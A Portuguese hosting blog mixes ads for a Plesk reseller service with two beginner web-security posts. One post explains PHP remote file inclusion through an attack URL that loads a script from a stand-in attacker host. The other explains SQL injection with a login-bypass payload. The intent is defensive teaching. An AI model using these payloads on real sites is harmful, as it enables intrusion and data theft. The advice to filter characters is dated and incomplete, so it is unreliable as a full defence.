Revenda Windows

Novembro 16, 2007

Revenda Windows para sua hospedagem de sites. Com o sistema oferecido pela Revenda Windows, você pode utilizar o painel de controle plesk para hospedar ilimitados domínios. Ainda poderá testar por 30 dias grátis. Revenda de hospedagem é na Windows Revenda.

Hospede sites em php, asp, asp.net, utilize bancos de dados mysql, sql server.  Tudo com qualidade e dedicação, para que a sua revenda windows fique sempre em boas mãos.


Mudança de endereço

Novembro 9, 2007

Este blog mudou de endereço. Acesse: www.pleskblog.com.br


Revenda Windows com plesk

Outubro 23, 2007

Precisando de uma revenda windows? Acesse o site http://www.windowsrevenda.com.br . Revenda windows com plesk e 30 dias grátis para você testar.

Você também encontra na revenda windows acesso ao construtor de sites SiteBuilder.

Poderá utilizar scripts em asp, php4 e php5, asp.net 1 e asp.net. Bancos de dados MySQL e SQL Server.

Além de um excelente antispam.


Segurança para sites – Parte II

Novembro 20, 2006

Neste post vamos falar sobre uma falha de segurança no desenvolvimento de sites que também é muito explorada. O php include.

Isto é mais um descuido do programador do que uma falha de segurança. O problema ocorre quando o desenvolvedor abre includes no seu site vindo através de querystring.

Exemplo:

http://www.site.com.br/index.php?arquivo=empresa.php

A página index.php tem um include que abre o arquivo que vem no paramêtro “arquivo” da querystring.

Exemplo do arquivo index.php:

<? php
include($_GET[arquivo]);
?>

O problema está aí. O arquivo index.php inclui para ser processado qualquer arquivo que vier através da querystring do php. O invasor pode, então, criar um script php malicioso e passá-lo como parâmetro, para que seja carregado e executado pelo site vítima.

Veja o exemplo:

http://www.site.com.br/index.php?arquivo=http://www.sitedohacker.com.br/hacker.txt

No link acima, o script index.php irá carregar e executar o script hacker.txt, que contém dados php e está dentro do site do invasor. Observe que o script não será executado no site do invasor, e sim no site da vítima. Um exemplo do que este script pode fazer é apagar todos os arquivos do cliente, conectar no banco de dados e descobrir senhas de acesso ao sistema, etc.

A solução para este problema é simples, você deverá checar sempre, no arquivo index.php, se o script que você está abrindo é um script autorizado, dentro de um servidor autorizado. Outra solução que pode ser adotada, e é considera melhor que a anterior, é realmente evitar incluir arquivos que são passados por querystring. Desta maneira você estará 100% livre deste problema.


Segurança para sites – Parte I

Novembro 17, 2006

Quando se planeja o desenvolvimento de um site, uma preocupação que deve ser levado em conta é a segurança.

É comum vemos sites serem “hackeados” através de falhas no próprio site. Vamos escrever uma série de artigos falando das falhas mais comuns e do que podemos fazer para evitá-las.

No primeiro artigo iremos falar sobre um dos problemas mais comuns: SQL-INJECTION.

Funcionamento

Este ataque é feito inserindo dados através de formulário que, ao serem processados, interrompam a instrução sql original e executa outra, enviada pelo invasor. Geralmente é utilizado para conseguir logar na área administrativa de um determinado site sem que se tenha as credenciais necessárias.

Veja um exemplo de string que pode ser enviada através de formulários para tentar se autenticar:

Imagine um script asp autenticando um usuário da seguinte maneira:

Select * from ADM where login=’” & request.form(“login”) & “‘”

Agora imagine que o invasor digite, no campo login do formulário o seguinte:

hi’ or ‘a’='a

O resultado desta sql será:

Select * from ADM where login=’hi’ or ‘a’='a

Isto irá retornar verdadeiro, e o usuário logará no sistema sem saber o login.

Como evitar

Você deve filtrar os campos que vem do formulário, removendo os caracteres que permitem ao invasor interromper o seu comando SQL e executar o dele.

Basta tratar os dados que vem do formulário, removendo os caracteres:

(;) , (') e (--).

Esta remoção pode ser realizada com função replace do asp, ou equivalente em outras linguagens. Em php você pode utilizar a função mysql_real_escape_string.

Uma observação que deve ser levado em conta é que todo e qualquer dado de formulário deve ser filtrado, não apenas os campos referente a login e senha. Inclusive dados vindo de checkbox e radio buttons, pois o invasor pode gerar outro html modificando estes campos e utilizando-os para a invasão.

Outra observação importante é filtrar estes dados sempre do lado do servidor. Mesmo que você valide os dados em javascript, nada impede do invasor desabilitar o javascript da máquina, e assim enviar os dados para o servidor. A validação do lado do servidor é necessária.